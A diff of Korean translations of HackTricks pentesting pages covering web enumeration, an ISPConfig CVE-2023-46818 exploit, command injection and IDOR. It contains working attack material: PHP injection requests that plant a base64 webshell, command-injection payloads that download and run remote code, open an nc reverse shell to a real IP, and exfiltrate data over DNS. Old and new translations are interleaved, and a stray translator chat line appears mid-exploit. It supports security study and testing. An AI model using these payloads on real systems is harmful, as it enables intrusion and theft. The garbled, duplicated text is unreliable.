- [**Chamaleon**](https://github.com/iustin24/chameleon): wapalyzer를 사용해 사용된 기술을 감지하고 사용할 워드리스트를 선택합니다.
**추천 사전:**
**추천 사전(Recommended dictionaries):**
- [https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/bf_directories.txt)
- [**Dirsearch** 포함 사전](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
- [**Dirsearch** included dictionary](https://github.com/maurosoria/dirsearch/blob/master/db/dicc.txt)
- [http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10](http://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
- [Assetnote wordlists](https://wordlists.assetnote.io)
- [https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content](https://github.com/danielmiessler/SecLists/tree/master/Discovery/Web-Content)
@ -265,83 +268,83 @@ SSL/TLS 취약점에 대한 정보:
- _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
_무차별 대입 또는 스파이더링 중에 새로운 디렉토리가 발견될 때마다 무차별 대입해야 합니다._
_참고: brute-forcing이나 spidering 중에 새로운 디렉토리가 발견되면 언제든지 해당 디렉토리는 Brute-Force 해야 합니다._
### 발견된 각 파일에서 확인할 사항
### What to check on each file found
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): 인수인계가 발생할 수 있는 HTML 내의 끊어진 링크를 찾습니다.
- **파일 백업**: 모든 파일을 찾은 후, 모든 실행 파일의 백업을 찾습니다 ("_.php_", "_.aspx_"...). 백업 파일의 일반적인 명명 변형은 다음과 같습니다: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp 및 file.old._ 또한 [**bfac**](https://github.com/mazen160/bfac) **또는** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** 사용할 수 있습니다.**
- **새로운 매개변수 발견**: [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **및** [**Param Miner**](https://github.com/PortSwigger/param-miner) **와 같은 도구를 사용하여 숨겨진 매개변수를 발견할 수 있습니다. 가능하다면 각 실행 웹 파일에서 숨겨진 매개변수를 검색해 보십시오.**
- _Arjun 모든 기본 단어 목록:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): HTML 내부의 끊어진 링크를 찾아 takeover에 취약한지 확인합니다.
- **File Backups**: 모든 파일을 찾은 뒤에는 실행 파일들의 백업("_.php_", "_.aspx_"...)을 찾아보세요. 백업 파일 이름의 일반적인 변형으로는 _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp, file.old_ 등이 있습니다. 또한 도구 [**bfac**](https://github.com/mazen160/bfac) **또는** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** 사용할 수 있습니다.**
- **Discover new parameters**: [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **및** [**Param Miner**](https://github.com/PortSwigger/param-miner)를 사용해 숨겨진 파라미터를 발견할 수 있습니다. 가능하다면 각 실행 가능한 웹 파일에서 숨겨진 파라미터를 검색해 보세요.
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **댓글:** 모든 파일의 댓글을 확인하십시오. **자격 증명** 또는 **숨겨진 기능**을 찾을 수 있습니다.
- **CTF**를 진행 중이라면, "일반적인" 트릭은 페이지의 **오른쪽**에 **정보**를 **숨기는 것**입니다(브라우저로 소스 코드를 열어도 데이터를 볼 수 없도록 **수백 개의 공백**을 사용). 다른 가능성은 **여러 개의 새 줄**을 사용하여 웹 페이지의 **하단**에 있는 댓글에 **정보를 숨기는 것**입니다.
- **API 키**: **API 키**를 발견하면 다양한 플랫폼의 API 키 사용 방법을 안내하는 가이드가 있습니다: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API 키: **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik와 같은 API 키를 발견하면 [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) 프로젝트를 사용하여 키가 접근할 수 있는 API를 확인할 수 있습니다.
- **S3 버킷**: 스파이더링 중에 **서브도메인**이나 **링크**가 **S3 버킷**과 관련이 있는지 확인하십시오. 그런 경우, [**버킷의 권한을 확인하십시오**](buckets/index.html).
- **Comments:** 모든 파일의 주석을 확인하세요. 주석에서 **credentials** 또는 **숨겨진 기능(hidden functionality)**을 찾을 수 있습니다.
- 만약 **CTF**를 진행하고 있다면, 흔한 트릭으로 페이지 소스 오른쪽에 수백 개의 공백을 넣어(브라우저로 소스 열 때 보이지 않게) 주석에 정보를 **숨기는** 방법이나 여러 줄을 추가해 페이지 하단 주석에 정보를 숨기는 방식이 있습니다.
- **API keys**: API 키를 발견하면 다양한 플랫폼의 API 키 사용 방법을 알려주는 가이드들이 있습니다: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: 만약 **AIza**로 시작하는 API 키를 찾으면 프로젝트 [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner)를 사용해 해당 키로 어떤 API에 접근 가능한지 확인할 수 있습니다.
- **S3 Buckets**: spidering 중에 어떤 **subdomain**이나 **link**가 S3 버킷과 관련되어 있는지 확인하세요. 그런 경우 [**버킷 권한을 확인**](buckets/index.html)하세요.
### 특별 발견
### Special findings
**스파이더링** 및 **무차별 대입**을 수행하는 동안 **흥미로운** **사항**을 **주목**해야 할 수 있습니다.
**spidering**과 **brute-forcing**을 수행하는 동안 주목해야 할 **흥미로운** **사항들**을 발견할 수 있습니다.
**흥미로운 파일**
**Interesting files**
- **CSS** 파일 내의 다른 파일에 대한 **링크**를 찾습니다.
- [**.git**_ 파일을 발견하면 일부 정보를 추출할 수 있습니다](git.md)
- **.env**를 발견하면 API 키, DB 비밀번호 및 기타 정보를 찾을 수 있습니다.
- **API 엔드포인트**를 발견하면 [테스트해야 합니다](web-api-pentesting.md). 이들은 파일은 아니지만 아마도 "파일처럼 보일" 것입니다.
- **JS 파일**: 스파이더링 섹션에서 JS 파일에서 경로를 추출할 수 있는 여러 도구가 언급되었습니다. 또한 발견된 각 JS 파일을 **모니터링**하는 것도 흥미로울 것입니다. 경우에 따라 변경 사항이 코드에 잠재적인 취약점이 도입되었음을 나타낼 수 있습니다. 예를 들어 [**JSMon**](https://github.com/robre/jsmon)**을 사용할 수 있습니다.**
- 발견된 JS 파일을 [**RetireJS**](https://github.com/retirejs/retire.js/) 또는 [**JSHole**](https://github.com/callforpapers-source/jshole)로 확인하여 취약한지 확인해야 합니다.
- **Javascript Deobfuscator Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **CSS** 파일 안의 다른 파일로의 **링크**를 찾아보세요.
- [_**.git**_ 파일을 찾으면 일부 정보를 추출할 수 있습니다](git.md)
- _**.env**_ 파일을 찾으면 API 키, DB 비밀번호 및 기타 정보를 얻을 수 있습니다.
- **API endpoints**를 찾으면 [반드시 테스트하세요](web-api-pentesting.md). 이들은 파일이 아니지만 파일처럼 보일 가능성이 높습니다.
- **JS files**: spidering 섹션에서 JS 파일에서 경로를 추출할 수 있는 여러 도구를 언급했습니다. 또한 일부 경우에는 발견된 JS 파일을 모니터링하는 것이 흥미로울 수 있습니다. 코드 변경이 잠재적 취약점의 도입을 나타낼 수 있기 때문입니다. 예를 들어 [**JSMon**](https://github.com/robre/jsmon)**을 사용할 수 있습니다.**
- 발견된 JS 파일을 [**RetireJS**](https://github.com/retirejs/retire.js/) 또는 [**JSHole**](https://github.com/callforpapers-source/jshole)로 확인해 취약점이 있는지 검사해야 합니다.
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck 디오브퍼스케이션** (문자와 함께 자바스크립트: "\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- 여러 경우에 **사용된 정규 표현식**을 **이해해야 할 필요가 있습니다**. 이는 유용할 것입니다: [https://regex101.com/](https://regex101.com) 또는 [https://pythonium.net/regex](https://pythonium.net/regex)
- **양식이 감지된 파일을 모니터링**해야 할 수도 있습니다. 매개변수의 변경이나 새로운 양식의 출현은 잠재적인 새로운 취약한 기능을 나타낼 수 있습니다.
- 여러 경우에 정규식을 이해해야 할 필요가 있습니다. 다음 리소스들이 유용합니다: [https://regex101.com/](https://regex101.com) 또는 [https://pythonium.net/regex](https://pythonium.net/regex)
- 폼이 감지된 파일들은 변경 사항을 모니터링하는 것도 좋습니다. 파라미터 변경이나 새로운 폼의 등장 등이 잠재적 취약 기능의 신호일 수 있습니다.
**403 금지/기본 인증/401 권한 없음 (우회)**
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
{{#ref}}
403-and-401-bypasses.md
{{#endref}}
**502 프록시 오류**
**502 Proxy Error**
어떤 페이지가 **코드**로 **응답**하면, 아마도 **잘못 구성된 프록시**일 것입니다. **`GET https://google.com HTTP/1.1`**와 같은 HTTP 요청을 보내면(호스트 헤더 및 기타 일반 헤더 포함), **프록시**는 _**google.com**_에 **접근**하려고 시도하며, 이로 인해 SSRF를 발견하게 됩니다.
어떤 페이지가 이 **코드**로 응답하면 잘못 구성된 프록시일 가능성이 큽니다. 만약 다음과 같은 HTTP 요청을 보낸다면: `GET https://google.com HTTP/1.1` (Host 헤더와 다른 일반 헤더들을 포함), 프록시는 _**google.com**_에 접근하려 시도하고 이로써 SSRF를 발견할 수 있습니다.
**NTLM 인증 - 정보 공개**
**NTLM Authentication - Info disclosure**
인증을 요청하는 서버가 **Windows**이거나 **자격 증명**(및 **도메인 이름** 요청)을 요구하는 로그인 화면을 발견하면 **정보 공개**를 유도할 수 있습니다.\
**헤더를 전송하십시오**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` 그리고 **NTLM 인증이 작동하는 방식** 때문에 서버는 "WWW-Authenticate" 헤더 내에 내부 정보(IIS 버전, Windows 버전 등...)로 응답할 것입니다.\
작업은 **nmap 플러그인** "_http-ntlm-info.nse_"를 사용하여 자동화할 수 있습니다.
인증을 요구하는 서버가 **Windows**이거나 도메인 이름을 묻는 로그인 프롬프트를 찾으면 정보 노출을 유발할 수 있습니다.\
헤더를 다음과 같이 전송하세요: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` 그러면 NTLM 인증 방식 때문에 서버는 "WWW-Authenticate" 헤더 안에 내부 정보(IIS 버전, Windows 버전 등)를 응답할 것입니다.\
과정을 자동화하려면 **nmap 플러그인** "_http-ntlm-info.nse_"를 사용할 수 있습니다.
**HTTP 리디렉션 (CTF)**
**HTTP Redirect (CTF)**
**리디렉션** 내에 **내용**을 **넣는** 것이 가능합니다. 이 내용은 **사용자에게 표시되지 않습니다**(브라우저가 리디렉션을 실행하므로) 하지만 그 안에 **숨겨진** 것이 있을 수 있습니다.
리다이렉션 안에 콘텐츠를 넣을 수 있습니다. 이 콘텐츠는 브라우저가 리다이렉션을 실행하기 때문에 사용자에게 표시되지는 않지만 그 안에 무언가를 **숨길** 수 있습니다.
### 웹 취약점 확인
### Web Vulnerabilities Checking
웹 애플리케이션에 대한 포괄적인 열거가 수행되었으므로 이제 많은 가능한 취약점을 확인할 시간입니다. 체크리스트는 여기에서 찾을 수 있습니다:
웹 애플리케이션의 포괄적 열거가 완료되었으면 이제 많은 가능한 취약점을 확인할 차례입니다. 체크리스트는 다음에서 확인하세요:
{{#ref}}
../../pentesting-web/web-vulnerabilities-methodology.md
{{#endref}}
웹 취약점에 대한 더 많은 정보는 다음에서 확인할 수 있습니다:
웹 취약점에 대한 추가 정보:
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
- [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
### 변경 사항 모니터링
### Monitor Pages for changes
[https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)와 같은 도구를 사용하여 페이지의 수정 사항을 모니터링하여 취약점을 삽입할 수 있습니다.
페이지 변경 사항을 모니터링하려면 [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) 같은 도구를 사용해 취약점을 삽입할 수 있는 수정 사항을 감지하세요.
### HackTricks 자동 명령
### HackTricks Automatic Commands
```
Protocol_Name: Web #Protocol Abbreviation if there is one.
Port_Number: 80,443 #Comma separated if there is more than one.

View File

@ -0,0 +1,91 @@
# ISPConfig
{{#include ../../banners/hacktricks-training.md}}
## 개요
ISPConfig는 오픈 소스 호스팅 컨트롤 패널입니다. 구버전 3.2.x 빌드에는 언어 파일 편집기 기능이 포함되어 있었는데, 이 기능이 슈퍼 관리자에게 활성화되어 있을 경우, 잘못된 번역 레코드를 통해 임의의 PHP code injection이 가능했습니다. 이는 웹 서버 컨텍스트에서 RCE를 초래할 수 있으며, PHP가 어떻게 실행되는지에 따라 privilege escalation으로 이어질 수 있습니다.
Key default paths:
- 웹 루트는 `php -S`로 서빙되거나 Apache/nginx를 통해 제공되는 경우 종종 `/var/www/ispconfig`에 있습니다.
- 관리자 UI는 HTTP(S) vhost에서 접근 가능(때로는 localhost에만 바인딩되어 있을 수 있음; 필요하면 SSH 포트 포워딩 사용).
Tip: If the panel is bound locally (e.g. `127.0.0.1:8080`), forward it:
```bash
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
```
## 언어 편집기 PHP code injection (CVE-2023-46818)
- 영향받는 버전: ISPConfig up to 3.2.11 (3.2.11p1에서 수정됨)
- 사전 조건:
- 내장된 superadmin 계정 `admin`으로 로그인 (공급업체에 따르면 다른 역할은 영향 없음)
- 언어 편집기가 활성화되어야 함: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini`
- 영향: 인증된 admin은 임의의 PHP를 주입할 수 있으며, 이는 언어 파일에 기록되어 애플리케이션에 의해 실행되어 웹 컨텍스트에서 RCE를 달성할 수 있음
References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
### 수동 익스플로잇 흐름
1) CSRF 토큰을 얻기 위해 언어 파일을 열거나 생성
폼을 초기화하기 위해 첫 번째 POST를 전송하고 HTML 응답에서 CSRF 필드(`csrf_id`, `csrf_key`)를 파싱합니다. 예제 요청 경로: `/admin/language_edit.php`.
2) records[]를 통해 PHP 주입 후 저장
CSRF 필드와 악성 번역 레코드를 포함한 두 번째 POST를 전송합니다. 최소 명령 실행 프로브:
```http
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
```
대역 외 테스트 (ICMP 관찰):
```http
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
```
3) 파일을 생성하고 webshell을 배치
웹에서 접근 가능한 경로(예: `admin/`)에 파일을 생성하려면 `file_put_contents`를 사용하세요:
```http
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
```
그런 다음 POST body에서 bad characters를 피하기 위해 base64를 사용해 간단한 webshell을 작성하세요:
```http
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
```
파일 내용을 붙여넣어 주세요. 주신 텍스트를 받아서 마크다운/HTML 태그·링크·경로·코드 등은 그대로 두고 영어 본문만 한국어로 번역해 드리겠습니다.
```bash
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
```
If PHP가 root로 실행되는 경우(예: root가 시작한 `php -S 127.0.0.1:8080`), 즉시 root RCE를 얻습니다. 그렇지 않으면 웹 서버 사용자로서 코드 실행을 얻게 됩니다.
### Python PoC
바로 사용할 수 있는 exploit은 token 처리와 payload 전달을 자동화합니다:
- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
예제 실행:
```bash
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
```
### 보안 강화
- 3.2.11p1 이상으로 업그레이드
- 언어 편집기는 꼭 필요하지 않다면 비활성화하세요:
```
admin_allow_langedit=no
```
- 패널을 root로 실행하지 마십시오; PHP-FPM 또는 웹 서버가 권한을 낮추도록 구성하십시오
- 내장된 `admin` 계정에 대해 강력한 인증을 적용하십시오
## 참고자료
- [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/)
- [CVE-2023-46818 NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818)
- [bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
- [HTB Nocturnal: Root via ISPConfig language editor RCE](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,13 +2,13 @@
{{#include ../banners/hacktricks-training.md}}
## What is command Injection?
## command Injection이란 무엇입니까?
**명령 주입**은 공격자가 애플리케이션을 호스팅하는 서버에서 임의의 운영 체제 명령을 실행할 수 있도록 허용합니다. 그 결과, 애플리케이션과 모든 데이터가 완전히 손상될 수 있습니다. 이러한 명령의 실행은 일반적으로 공격자가 애플리케이션의 환경 및 기본 시스템에 대한 무단 접근 또는 제어를 얻을 수 있게 합니다.
A **command injection**은 애플리케이션을 호스팅하는 서버에서 공격자가 임의의 운영 체제 명령을 실행할 수 있게 합니다. 그 결과 애플리케이션과 그에 포함된 모든 데이터가 완전히 침해될 수 있습니다. 이러한 명령의 실행은 일반적으로 공격자가 애플리케이션의 환경과 하부 시스템에 대해 무단으로 접근하거나 제어권을 획득하도록 허용합니다.
### Context
### 컨텍스트
**입력이 주입되는 위치**에 따라 명령 전에 **인용된 컨텍스트를 종료**해야 할 수도 있습니다(`"` 또는 `'` 사용).
입력이 삽입되는 위치에 따라 명령을 실행하기 전에 **따옴표로 감싸진 컨텍스트를 종료해야** 할 수 있습니다 (예: `"` 또는 `'`).
## Command Injection/Execution
```bash
@ -18,6 +18,7 @@ ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
#Only unix supported
`ls` # ``
@ -29,23 +30,24 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
### **제한** 우회
### **Limition** 우회
만약 당신이 **arbitrary commands inside a linux machine**를 실행하려 한다면, 이 **우회**를 읽어보면 도움이 될 것입니다.
리눅스 머신 내에서 **임의의 명령을 실행**하려고 한다면, 이 **우회**에 대해 읽어보는 것이 좋습니다:
{{#ref}}
../linux-hardening/bypass-bash-restrictions/
{{#endref}}
### **예**
### **예**
```
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
```
### Parameters
### 매개변수
여기 코드 주입 및 유사한 RCE 취약점에 취약할 수 있는 상위 25개 매개변수가 있습니다 (from [link](https://twitter.com/trbughunters/status/1283133356922884096)):
다음은 code injection 및 유사한 RCE 취약점에 노출될 수 있는 상위 25개 매개변수입니다 (출처: [link](https://twitter.com/trbughunters/status/1283133356922884096)):
```
?cmd={payload}
?exec={payload}
@ -73,9 +75,9 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
?run={payload}
?print={payload}
```
### 시간 기반 데이터 유출
### Time based data exfiltration
데이터 추출: 문자 단위로
데이터 추출: char 단위로
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
@ -87,9 +89,9 @@ real 0m0.002s
user 0m0.000s
sys 0m0.000s
```
### DNS 기반 데이터 유출
### DNS 기반 data exfiltration
`https://github.com/HoLyVieR/dnsbin`에서 제공되는 도구를 기반으로 하며, dnsbin.zhack.ca에서도 호스팅됩니다.
`https://github.com/HoLyVieR/dnsbin`의 도구를 기반으로 하며 dnsbin.zhack.ca에도 호스팅되어 있습니다
```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
@ -99,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
DNS 기반 데이터 유출을 확인하기 위한 온라인 도구:
DNS 기반 data exfiltration을 확인하는 온라인 도구:
- dnsbin.zhack.ca
- pingb.in
### 필터링 우회
### Filtering bypass
#### Windows
```
@ -120,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad
### Node.js `child_process.exec` vs `execFile`
JavaScript/TypeScript 백엔드를 감사할 때, Node.js `child_process` API를 자주 접하게 됩니다.
JavaScript/TypeScript 백엔드를 감사할 때 종종 Node.js `child_process` API를 마주치게 됩니다.
```javascript
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
@ -128,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
/* … */
});
```
`exec()`**쉘** (`/bin/sh -c`)을 생성하므로, 사용자 입력이 문자열에 연결될 때 쉘에 특별한 의미를 가지는 모든 문자(백틱, `;`, `&&`, `|`, `$()`, …)는 **명령 주입**을 초래합니다.
`exec()`**shell** (`/bin/sh -c`)을 실행하므로, shell에 특별한 의미를 갖는 문자들(back-ticks, `;`, `&&`, `|`, `$()`, …)이 사용자 입력이 문자열에 이어 붙여질 때 **command injection**을 초래합니다.
**완화:** `execFile()` (또는 `shell` 옵션 없이 `spawn()`)을 사용하고 **각 인수를 별도의 배열 요소로 제공**하여 쉘이 관여하지 않도록 합니다:
**완화:** `execFile()`(또는 `spawn()` `shell` 옵션 없이 사용)하고 **각 인수를 별도의 배열 요소로 제공**하여 shell이 개입하지 않도록 한다:
```javascript
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
@ -138,20 +140,22 @@ execFile('/usr/bin/do-something', [
'--payload', JSON.stringify(payload)
]);
```
실제 사례: *Synology Photos* ≤ 1.7.0-0794는 인증되지 않은 WebSocket 이벤트를 통해 공격자가 제어하는 데이터를 `id_user`삽입하여 나중에 `exec()` 호출에 포함시켜 RCE를 달성할 수 있었습니다 (Pwn2Own Ireland 2024).
실제 사례: *Synology Photos* ≤ 1.7.0-0794는 인증되지 않은 WebSocket 이벤트를 통해 공격자가 제어하는 데이터를 `id_user`주입할 수 있었고, 이 값이 이후 `exec()` 호출에 포함되어 RCE를 달성했습니다 (Pwn2Own Ireland 2024).
## Brute-Force Detection List
## Brute-Force 탐지 목록
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
{{#endref}}
## References
## 참고
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
- [Extraction of Synology encrypted archives Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE202346818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,20 +2,21 @@
{{#include ../banners/hacktricks-training.md}}
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA)는 웹 또는 API 엔드포인트가 **직접적으로** 내부 객체에 접근하는 데 사용되는 사용자 제어 식별자를 공개하거나 수락할 때 발생합니다. **호출자가 해당 객체에 접근/수정할 권한이 있는지 확인하지 않고** 접근합니다. 성공적인 악용은 일반적으로 다른 사용자의 데이터를 읽거나 수정하는 수평 또는 수직 권한 상승을 허용하며, 최악의 경우 전체 계정 탈취 또는 대량 데이터 유출로 이어질 수 있습니다.
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA)는 웹 또는 API 엔드포인트가 사용자가 제어할 수 있는 식별자를 공개하거나 수락하고, 그 식별자를 **직접** 내부 객체에 접근하는 데 사용하면서 요청자가 해당 객체에 접근/수정할 권한이 있는지 **확인하지 않는 경우**에 발생합니다.
성공적인 악용은 보통 다른 사용자의 데이터를 읽거나 수정하는 등의 horizontal 또는 vertical privilege-escalation을 허용하며, 최악의 경우 full account takeover 또는 mass-data exfiltration으로 이어질 수 있습니다.
---
## 1. 잠재적 IDOR 식별하기
## 1. 잠재적 IDORs 식별
1. **객체를 참조하는 매개변수**를 찾습니다:
* 경로: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
* 쿼리: `?id=42`, `?invoice=2024-00001`
* 본문 / JSON: `{"user_id": 321, "order_id": 987}`
* 헤더 / 쿠키: `X-Client-ID: 4711`
2. 데이터를 **읽거나 업데이트**하는 엔드포인트를 선호합니다 (`GET`, `PUT`, `PATCH`, `DELETE`).
3. 식별자가 **순차적이거나 예측 가능할 때** 주의합니다 만약 당신의 ID가 `64185742`라면, `64185741`도 아마 존재할 것입니다.
4. 추가 API를 노출할 수 있는 숨겨진 또는 대체 흐름(예: 로그인 페이지의 *"Paradox team members"* 링크)을 탐색합니다.
5. **인증된 저권한 세션**을 사용하고 ID만 변경합니다 **같은 토큰/쿠키를 유지하면서**. 권한 오류가 없다는 것은 일반적으로 IDOR의 신호입니다.
1. 객체를 참조하는 **매개변수**를 찾아보세요:
* Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
* Query: `?id=42`, `?invoice=2024-00001`
* Body / JSON: `{"user_id": 321, "order_id": 987}`
* Headers / Cookies: `X-Client-ID: 4711`
2. 데이터(`GET`, `PUT`, `PATCH`, `DELETE`)를 **읽거나 업데이트**하는 엔드포인트를 우선적으로 확인하세요.
3. 식별자가 **연속적이거나 예측 가능**한지 확인하세요 만약 귀하의 ID가 `64185742`라면 `64185741`도 존재할 가능성이 큽니다.
4. 추가 API를 노출할 수 있는 숨겨진 또는 대체 흐름(예: 로그인 페이지의 *"Paradox team members"* 링크)을 탐색하세요.
5. **authenticated low-privilege session**을 사용하고 ID만 변경한 뒤 **같은 token/cookie를 유지**하세요. 권한 오류가 발생하지 않으면 일반적으로 IDOR의 징후입니다.
### 빠른 수동 변조 (Burp Repeater)
```
@ -26,7 +27,7 @@ Content-Type: application/json
{"lead_id":64185741}
```
